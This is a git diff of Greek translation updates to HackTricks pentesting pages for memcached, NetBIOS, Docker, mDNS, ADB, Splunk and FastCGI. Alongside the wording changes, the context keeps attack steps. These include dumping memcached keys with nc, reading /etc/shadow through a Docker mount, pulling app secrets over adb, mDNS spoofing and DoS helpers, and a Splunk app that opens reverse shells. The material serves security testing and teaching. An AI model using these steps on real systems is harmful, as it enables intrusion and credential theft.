αποδοτικότητα. Παραδείγματα περιλαμβάνουν: ```bash echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 ``` -### **ΕΡΓΑΛΕΙΑ ΕΞΑΓΩΓΗΣ** +### **ΕΡΓΑΛΕΙΑ ΕΚΧΥΛΙΣΗΣ** Table [from here](https://lzone.de/blog). | Programming Languages | Tools | Functionality | | | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | -| PHP | [simple script](http://snipt.org/xtP) | Εκτυπώνει τα ονόματα κλειδιών. | | | -| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Εκτυπώνει κλειδιά και τιμές | | | -| Ruby | [simple script](https://gist.github.com/1365005) | Εκτυπώνει τα ονόματα κλειδιών. | | | -| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Εργαλείο στο CPAN module | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | -| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI παρακολούθησης Memcache που επιτρέπει επίσης την εξαγωγή κλειδιών | | | -| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Κάνει παγώμα της διαδικασίας memcached!!!** Να είστε προσεκτικοί όταν το χρησιμοποιείτε σε παραγωγή. Παρ' όλα αυτά, μπορείτε να παρακάμψετε τον περιορισμό των 1MB και να εξάγετε **όλα** τα κλειδιά. | | | +| PHP | [simple script](http://snipt.org/xtP) | Εκτυπώνει τα ονόματα κλειδιών. | | | +| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Εκτυπώνει κλειδιά και τιμές | | | +| Ruby | [simple script](https://gist.github.com/1365005) | Εκτυπώνει τα ονόματα κλειδιών. | | | +| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Εργαλείο στο CPAN module | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | +| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI παρακολούθησης Memcache που επιτρέπει επίσης την εκχύλιση κλειδιών | | | +| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Κάνει παγώμα της διαδικασίας memcached!!!** Να είστε προσεκτικοί όταν το χρησιμοποιείτε σε παραγωγή. Παρ' όλα αυτά, μπορείτε να παρακάμψετε τον περιορισμό των 1MB και να εκχυλίσετε **όλα** τα κλειδιά. | | | ## Troubleshooting @@ -133,9 +133,9 @@ Table [from here](https://lzone.de/blog). Σημειώστε ότι πριν από το memcached 1.4 δεν μπορείτε να αποθηκεύσετε αντικείμενα μεγαλύτερα από 1MB λόγω του προεπιλεγμένου μέγιστου μεγέθους slab. -### Ποτέ μην ορίζετε χρόνο λήξης > 30 ημέρες! +### Ποτέ μην ορίζετε Timeout > 30 Days! -Εάν προσπαθήσετε να “ορίσετε” ή “προσθέσετε” ένα κλειδί με χρόνο λήξης μεγαλύτερο από το επιτρεπόμενο μέγιστο, μπορεί να μην λάβετε αυτό που περιμένετε, επειδή το memcached τότε θεωρεί την τιμή ως χρονική σφραγίδα Unix. Επίσης, εάν η χρονική σφραγίδα είναι στο παρελθόν, δεν θα κάνει τίποτα απολύτως. Η εντολή σας θα αποτύχει σιωπηλά. +Εάν προσπαθήσετε να “ορίσετε” ή “προσθέσετε” ένα κλειδί με timeout μεγαλύτερο από το επιτρεπόμενο μέγιστο, μπορεί να μην πάρετε αυτό που περιμένετε, διότι το memcached τότε θεωρεί την τιμή ως Unix timestamp. Επίσης, αν το timestamp είναι στο παρελθόν, δεν θα κάνει τίποτα. Η εντολή σας θα αποτύχει σιωπηλά. Έτσι, αν θέλετε να χρησιμοποιήσετε τη μέγιστη διάρκεια ζωής, καθορίστε 2592000. Παράδειγμα: ``` @@ -144,7 +144,7 @@ set my_key 0 2592000 1 ``` ### Κλειδιά που Εξαφανίζονται σε Υπερχείλιση -Παρά το γεγονός ότι η τεκμηρίωση αναφέρει κάτι σχετικά με την περιτύλιξη γύρω από την υπερχείλιση 64bit, η χρήση του “incr” προκαλεί την εξαφάνιση της τιμής. Πρέπει να δημιουργηθεί ξανά χρησιμοποιώντας “add”/”set”. +Παρά το γεγονός ότι η τεκμηρίωση λέει κάτι σχετικά με την περιτύλιξη γύρω από 64bit, η υπερχείλιση μιας τιμής χρησιμοποιώντας το “incr” προκαλεί την εξαφάνιση της τιμής. Πρέπει να δημιουργηθεί ξανά χρησιμοποιώντας το “add”/”set”. ### Αναπαραγωγή @@ -152,10 +152,11 @@ set my_key 0 2592000 1 - [repcached](http://repcached.lab.klab.org/): Πολυμάστερ ασύγχρονη αναπαραγωγή (patch set memcached 1.2) - [Couchbase memcached interface](http://www.couchbase.com/memcached): Χρησιμοποιήστε το CouchBase ως drop-in memcached -- [yrmcds](https://cybozu.github.io/yrmcds/): Συμβατό με memcached Master-Slave κατάστημα κλειδιών-τιμών +- [yrmcds](https://cybozu.github.io/yrmcds/): Συμβατό με memcached Master-Slave αποθηκευτικό σύστημα κλειδιών-τιμών - [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): proxy με υποστήριξη memcached -### Cheat-Sheet Εντολών +### Εγχειρίδιο Εντολών + {{#ref}} memcache-commands.md diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index ada1b9367..5c1edf934 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -4,22 +4,22 @@ ## NetBios Name Service -**NetBIOS Name Service** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία. +**Η Υπηρεσία Ονομάτων NetBIOS** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία. -[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): +[Από την Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): - Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp). - Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp). - Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp). -### Name Service +### Υπηρεσία Ονομάτων -Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας broadcast** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC. +Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Ερώτησης Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC. ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) ``` -Αναγνωρίζοντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή. +Καταμετρώντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή. ```bash nmblookup -A nbtscan /30 @@ -34,7 +34,7 @@ PORT STATE SERVICE VERSION ``` ### Session Service -Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων. +Για συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων. Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP. @@ -45,6 +45,7 @@ PORT STATE SERVICE VERSION ``` **Διαβάστε την επόμενη σελίδα για να μάθετε πώς να καταμετρήσετε αυτή την υπηρεσία:** + {{#ref}} 137-138-139-pentesting-netbios.md {{#endref}} diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 38dc645fa..e2eddff85 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -206,7 +206,7 @@ cat /mnt/etc/shadow docker ps [| grep ] docker inspect ``` -Ελέγξτε το **env** (τμήμα μεταβλητών περιβάλλοντος) για μυστικά και μπορεί να βρείτε: +Ελέγξτε **env** (ενότητα μεταβλητών περιβάλλοντος) για μυστικά και μπορεί να βρείτε: - Κωδικούς πρόσβασης. - Διευθύνσεις IP. @@ -214,7 +214,7 @@ docker inspect - Διαδρομές. - Άλλα… . -Αν θέλετε να εξάγετε ένα αρχείο: +Αν θέλετε να εξαγάγετε ένα αρχείο: ```bash docker cp :/etc/ ``` @@ -239,7 +239,7 @@ docker cp :/etc/ #### Ασφαλίζοντας τα Dockerfiles -- Μπορείτε να χρησιμοποιήσετε το εργαλείο [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) για να **ελέγξετε το Dockerfile σας** και να βρείτε κάθε είδους κακή διαμόρφωση. Κάθε κακή διαμόρφωση θα λάβει ένα ID, μπορείτε να βρείτε εδώ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) πώς να διορθώσετε καθεμία από αυτές. +- Μπορείτε να χρησιμοποιήσετε το εργαλείο [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) για να **ελέγξετε το Dockerfile σας** και να βρείτε κάθε είδους κακή διαμόρφωση. Κάθε κακή διαμόρφωση θα έχει ένα ID, μπορείτε να βρείτε εδώ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) πώς να διορθώσετε καθεμία από αυτές. - `dockerfilelinter -f Dockerfile` ![](<../images/image (176).png>) diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index b9fc7a069..e459211ff 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -1,10 +1,10 @@ -# 5353/UDP Multicast DNS (mDNS) και DNS-SD +# 5353/UDP Multicast DNS (mDNS) and DNS-SD {{#include ../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information -Το Multicast DNS (mDNS) επιτρέπει την επίλυση ονομάτων και την ανακάλυψη υπηρεσιών παρόμοια με το DNS μέσα σε έναν τοπικό σύνδεσμο χωρίς έναν unicast DNS server. Χρησιμοποιεί UDP/5353 και τις διευθύνσεις multicast 224.0.0.251 (IPv4) και FF02::FB (IPv6). Η Ανακάλυψη Υπηρεσιών DNS (DNS-SD, που χρησιμοποιείται συνήθως με το mDNS) παρέχει έναν τυποποιημένο τρόπο για την απαρίθμηση και την περιγραφή υπηρεσιών μέσω των εγγραφών PTR, SRV και TXT. +Το Multicast DNS (mDNS) επιτρέπει την επίλυση ονομάτων και την ανακάλυψη υπηρεσιών παρόμοια με το DNS μέσα σε έναν τοπικό σύνδεσμο χωρίς έναν unicast DNS server. Χρησιμοποιεί UDP/5353 και τις διευθύνσεις multicast 224.0.0.251 (IPv4) και FF02::FB (IPv6). Η Ανακάλυψη Υπηρεσιών DNS (DNS-SD, που χρησιμοποιείται συνήθως με το mDNS) παρέχει έναν τυποποιημένο τρόπο για την αρίθμηση και την περιγραφή υπηρεσιών μέσω των εγγραφών PTR, SRV και TXT. ``` PORT STATE SERVICE 5353/udp open zeroconf @@ -13,7 +13,7 @@ PORT STATE SERVICE - Τα ονόματα στη ζώνη .local επιλύονται μέσω mDNS. - Το bit QU (Query Unicast) μπορεί να ζητήσει unicast απαντήσεις ακόμη και για multicast ερωτήσεις. - Οι υλοποιήσεις θα πρέπει να αγνοούν πακέτα που δεν προέρχονται από τον τοπικό σύνδεσμο; ορισμένες στοίβες εξακολουθούν να τα αποδέχονται. -- Η διερεύνηση/ανακοίνωση επιβάλλει μοναδικά ονόματα host/υπηρεσιών; η παρέμβαση εδώ δημιουργεί συνθήκες DoS/“name squatting”. +- Η διερεύνηση/ανακοίνωση επιβάλλει μοναδικά ονόματα host/υπηρεσίας; η παρέμβαση εδώ δημιουργεί συνθήκες DoS/“name squatting”. ## Μοντέλο υπηρεσίας DNS-SD @@ -92,7 +92,7 @@ sudo bettercap -iface -eval "zerogod.discovery on" > zerogod.save 192.168.1.42 target.yml > zerogod.advertise target.yml ``` -Επίσης, δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και σύλληψης/αναμετάδοσης διαπιστευτηρίων: +Επίσης δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και capture/relay διαπιστευτηρίων: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -106,7 +106,7 @@ sudo bettercap -iface -eval "zerogod.discovery on" ## Αμυντικές εκτιμήσεις και OPSEC - Όρια τμημάτων: Μην δρομολογείτε 224.0.0.251/FF02::FB μεταξύ ζωνών ασφαλείας εκτός αν απαιτείται ρητά ένα mDNS gateway. Εάν πρέπει να γεφυρώσετε την ανακάλυψη, προτιμήστε τις λίστες επιτρεπόμενων και τους περιορισμούς ρυθμού. -- Τερματικά/διακομιστές Windows: +- Windows endpoints/servers: - Για να απενεργοποιήσετε σίγουρα την επίλυση ονομάτων μέσω mDNS, ρυθμίστε την τιμή μητρώου και επανεκκινήστε: ``` HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) @@ -116,29 +116,29 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD - Linux (Avahi): - Περιορίστε την δημοσίευση όταν δεν είναι απαραίτητη: ρυθμίστε `disable-publishing=yes`, και περιορίστε τις διεπαφές με `allow-interfaces=` / `deny-interfaces=` στο `/etc/avahi/avahi-daemon.conf`. - Σκεφτείτε το `check-response-ttl=yes` και αποφύγετε το `enable-reflector=yes` εκτός αν είναι αυστηρά απαραίτητο; προτιμήστε τις λίστες επιτρεπόμενων `reflect-filters=` κατά την αντανάκλαση. -- macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας υπολογιστή/δικτύου όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα. -- Παρακολούθηση: Ειδοποιήστε για ασυνήθιστες αυξήσεις σε ερωτήματα `_services._dns-sd._udp.local` ή ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών; αυτά είναι δείκτες spoofing ή μίμησης υπηρεσιών. +- macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας host/network όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα. +- Παρακολούθηση: Ειδοποιήστε για ασυνήθιστες αυξήσεις σε ερωτήματα `_services._dns-sd._udp.local` ή ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών; αυτά είναι δείκτες spoofing ή impersonation υπηρεσιών. ## Γρήγορη αναφορά εργαλείων - nmap NSE: `dns-service-discovery` και `broadcast-dns-service-discovery`. -- Pholus: ενεργή σάρωση, αντίστροφη σάρωση mDNS, βοηθήματα DoS και spoofing. +- Pholus: ενεργή σάρωση, αντίστροφα mDNS sweeps, βοηθήματα DoS και spoofing. ```bash -# Παθητική ανίχνευση (δευτερόλεπτα λήξης) +# Passive sniff (timeout seconds) sudo python3 pholus3.py -stimeout 60 -# Καταγραφή τύπων υπηρεσιών +# Enumerate service types sudo python3 pholus3.py -sscan -# Αποστολή γενικών αιτημάτων mDNS +# Send generic mDNS requests sudo python3 pholus3.py --request -# Αντίστροφη σάρωση mDNS ενός υποδικτύου +# Reverse mDNS sweep of a subnet sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 ``` -- bettercap zerogod: ανακαλύψτε, αποθηκεύστε, διαφημίστε και μιμηθείτε υπηρεσίες mDNS/DNS-SD (δείτε παραδείγματα παραπάνω). +- bettercap zerogod: ανακαλύψτε, αποθηκεύστε, διαφημίστε και impersonate υπηρεσίες mDNS/DNS-SD (δείτε παραδείγματα παραπάνω). ## Spoofing/MitM Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να εκτελέσετε ένα MitM στην επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή. Μπορείτε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμη και διαπιστευτήρια (Windows authentication).\ -Για περισσότερες πληροφορίες, ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index d427bdaa7..637afa36d 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -Αυτή η θύρα χρησιμοποιείται από το **Redshift** για να λειτουργήσει. Είναι βασικά μια παραλλαγή του **PostgreSQL** από την AWS. +Αυτή η θύρα χρησιμοποιείται από το **Redshift** για να λειτουργήσει. Είναι βασικά μια παραλλαγή του **PostgreSQL** στο AWS. Για περισσότερες πληροφορίες ελέγξτε: diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 70353cff7..0d2725ef3 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -4,14 +4,14 @@ ## Basic Information -Από [the docs](https://developer.android.com/studio/command-line/adb): +Από [τα έγγραφα](https://developer.android.com/studio/command-line/adb): Το Android Debug Bridge (adb) είναι ένα εργαλείο γραμμής εντολών για επικοινωνία με συσκευές και εξομοιωτές που βασίζονται σε Android. Τυπικές ενέργειες περιλαμβάνουν την εγκατάσταση πακέτων, την αποσφαλμάτωση και την απόκτηση ενός διαδραστικού Unix shell στη συσκευή. - Ιστορική προεπιλεγμένη θύρα TCP: 5555 (κλασική λειτουργία "adb tcpip"). - Σύγχρονη ασύρματη αποσφαλμάτωση (Android 11+) χρησιμοποιεί TLS pairing και mDNS service discovery. Η θύρα σύνδεσης είναι δυναμική και ανακαλύπτεται μέσω mDNS; μπορεί να μην είναι 5555. Η ζεύξη γίνεται με adb pair host:port ακολουθούμενη από adb connect. Δείτε τις σημειώσεις παρακάτω για επιθετικές επιπτώσεις. -Παράδειγμα δακτυλοσκοπίας nmap: +Παράδειγμα δακτυλοσκόπησης nmap: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) @@ -27,7 +27,7 @@ whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` - Αν η συσκευή επιβάλλει την αυθεντικοποίηση ADB (ro.adb.secure=1), θα χρειαστεί να είστε προεξουσιοδοτημένοι (USB RSA auth) ή να χρησιμοποιήσετε την ασύρματη ζεύξη αποσφαλμάτωσης Android 11+ (η οποία απαιτεί έναν κωδικό μίας χρήσης που εμφανίζεται στη συσκευή). -- Ορισμένες εικόνες προμηθευτών, κατασκευές engineering/userdebug, εξομοιωτές, τηλεοράσεις, STBs και κιτ ανάπτυξης εκθέτουν το adbd χωρίς αυθεντικοποίηση ή με το adbd να τρέχει ως root. Σε αυτές τις περιπτώσεις, θα προσγειωθείτε συνήθως απευθείας σε ένα shell ή root shell. +- Ορισμένες εικόνες προμηθευτών, κατασκευές engineering/userdebug, εξομοιωτές, τηλεοράσεις, STB και κιτ ανάπτυξης εκθέτουν το adbd χωρίς αυθεντικοποίηση ή με το adbd να εκτελείται ως root. Σε αυτές τις περιπτώσεις, θα προσγειωθείτε συνήθως απευθείας σε ένα shell ή root shell. Για μια γενική αναφορά εντολών ADB, δείτε: @@ -63,7 +63,7 @@ adb pull "/sdcard/" - /data/misc/wifi/ (ρυθμίσεις/κλειδιά δικτύου σε παλαιότερες εκδόσεις) - Ειδικές βάσεις δεδομένων SQLite και shared_prefs κάτω από /data/data/ -Μπορείτε να το χρησιμοποιήσετε για να ανακτήσετε ευαίσθητες πληροφορίες (π.χ., μυστικά εφαρμογής). Για σημειώσεις σχετικά με τις παρατηρήσεις δεδομένων του Chrome, δείτε το ζήτημα που αναφέρεται [εδώ](https://github.com/carlospolop/hacktricks/issues/274). +Μπορείτε να το χρησιμοποιήσετε για να ανακτήσετε ευαίσθητες πληροφορίες (π.χ., μυστικά εφαρμογών). Για σημειώσεις σχετικά με τις παρατηρήσεις δεδομένων του Chrome, δείτε το ζήτημα που αναφέρεται [εδώ](https://github.com/carlospolop/hacktricks/issues/274). ### Εκτέλεση κώδικα και παράδοση payload @@ -117,7 +117,7 @@ adb connect : - _adb._tcp (παλαιά/απλή) - Εάν το mDNS είναι φιλτραρισμένο, η κλασική ενεργοποίηση μέσω USB μπορεί να λειτουργήσει σε ορισμένες εκδόσεις: `adb tcpip 5555` και στη συνέχεια `adb connect :5555` (μέχρι την επανεκκίνηση). -Επιθετικές επιπτώσεις: εάν μπορείτε να αλληλεπιδράσετε με το UI της συσκευής (π.χ., φυσική πρόσβαση ή κακή ρύθμιση MDM κινητού) για να ενεργοποιήσετε την ασύρματη αποσφαλμάτωση και να δείτε τον κωδικό ζευγαρώματος, μπορείτε να δημιουργήσετε ένα μακροχρόνιο ζευγαρωμένο κανάλι ADB χωρίς καλώδιο. Ορισμένοι OEMs εκθέτουν το ADB μέσω TCP σε εικόνες μηχανικής/ανάπτυξης χωρίς ζευγάρωμα—πάντα ελέγξτε. +Επιθετικές επιπτώσεις: αν μπορείτε να αλληλεπιδράσετε με το UI της συσκευής (π.χ., φυσική πρόσβαση ή κακή ρύθμιση MDM κινητού) για να ενεργοποιήσετε την ασύρματη αποσφαλμάτωση και να δείτε τον κωδικό ζευγαρώματος, μπορείτε να δημιουργήσετε ένα μακροχρόνιο ζευγαρωμένο κανάλι ADB χωρίς καλώδιο. Ορισμένοι OEMs εκθέτουν το ADB μέσω TCP σε εικόνες μηχανικής/ανάπτυξης χωρίς ζευγάρωμα—πάντα ελέγξτε. ## Σκληροποίηση / Ανίχνευση diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 7d7008533..a854243bd 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -25,24 +25,24 @@ - Νεότερες εκδόσεις: Διαπιστευτήρια που ορίζονται κατά την εγκατάσταση - Πιθανότητα χρήσης αδύναμων κωδικών πρόσβασης (π.χ., `admin`, `Welcome`, `Password123`) -3. Ευκαιρίες Εκτέλεσης Κώδικα από Απόσταση +3. Ευκαιρίες Εκτέλεσης Κώδικα Εξ αποστάσεως -- Πολλές μέθοδοι εκτέλεσης κώδικα: +- Πολλαπλές μέθοδοι εκτέλεσης κώδικα: - Εφαρμογές Django πλευράς διακομιστή - REST endpoints - Σενάρια εισόδου - Σενάρια ειδοποίησης - Υποστήριξη πολλαπλών πλατφορμών (Windows/Linux) - Τα σενάρια εισόδου μπορούν να εκτελούνται: -- Bash scripts -- PowerShell scripts -- Batch scripts +- Σενάρια Bash +- Σενάρια PowerShell +- Σενάρια Batch Κύρια Δυνατότητα Εκμετάλλευσης: - Αποθήκευση ευαίσθητων δεδομένων - Έλλειψη αυθεντικοποίησης στη δωρεάν έκδοση -- Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα από απόσταση +- Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα εξ αποστάσεως - Δυνατότητα εκμετάλλευσης σενάριων εισόδου για συμβιβασμό συστήματος ### Shodan @@ -53,9 +53,9 @@ ### Δημιουργία Προσαρμοσμένης Εφαρμογής -Το Splunk προσφέρει μια προηγμένη μέθοδο για την εκτέλεση κώδικα από απόσταση μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις δυνατότητες scripting πολλαπλών πλατφορμών του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux. +Το Splunk προσφέρει μια προηγμένη μέθοδο για εκτέλεση κώδικα εξ αποστάσεως μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις διασυνοριακές δυνατότητες scripting του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux. -Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**. Επιπλέον, **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **Windows** συστήματα θα μπορείτε να εκτελείτε κώδικα python. +Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**. Επιπλέον, **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε συστήματα **Windows** θα μπορείτε να εκτελείτε κώδικα python. Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse_shell_splunk) το παράδειγμα με το **`bin`** που περιέχει παράδειγμα για [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ή μπορείτε να δημιουργήσετε το δικό σας. diff --git a/src/network-services-pentesting/9000-pentesting-fastcgi.md b/src/network-services-pentesting/9000-pentesting-fastcgi.md index e3cdcc948..51e79fd25 100644 --- a/src/network-services-pentesting/9000-pentesting-fastcgi.md +++ b/src/network-services-pentesting/9000-pentesting-fastcgi.md @@ -1,6 +1,8 @@ +# 9000 Pentesting FastCGI + {{#include ../banners/hacktricks-training.md}} -# Βασικές Πληροφορίες +## Basic Information Αν θέλετε να **μάθετε τι είναι το FastCGI** ελέγξτε την παρακάτω σελίδα: @@ -8,9 +10,9 @@ pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}} -Από προεπιλογή, το **FastCGI** τρέχει σε **θύρα** **9000** και δεν αναγνωρίζεται από το nmap. **Συνήθως**, το FastCGI ακούει μόνο σε **localhost**. +Από προεπιλογή, το **FastCGI** τρέχει σε **θύρα** **9000** και δεν αναγνωρίζεται από το 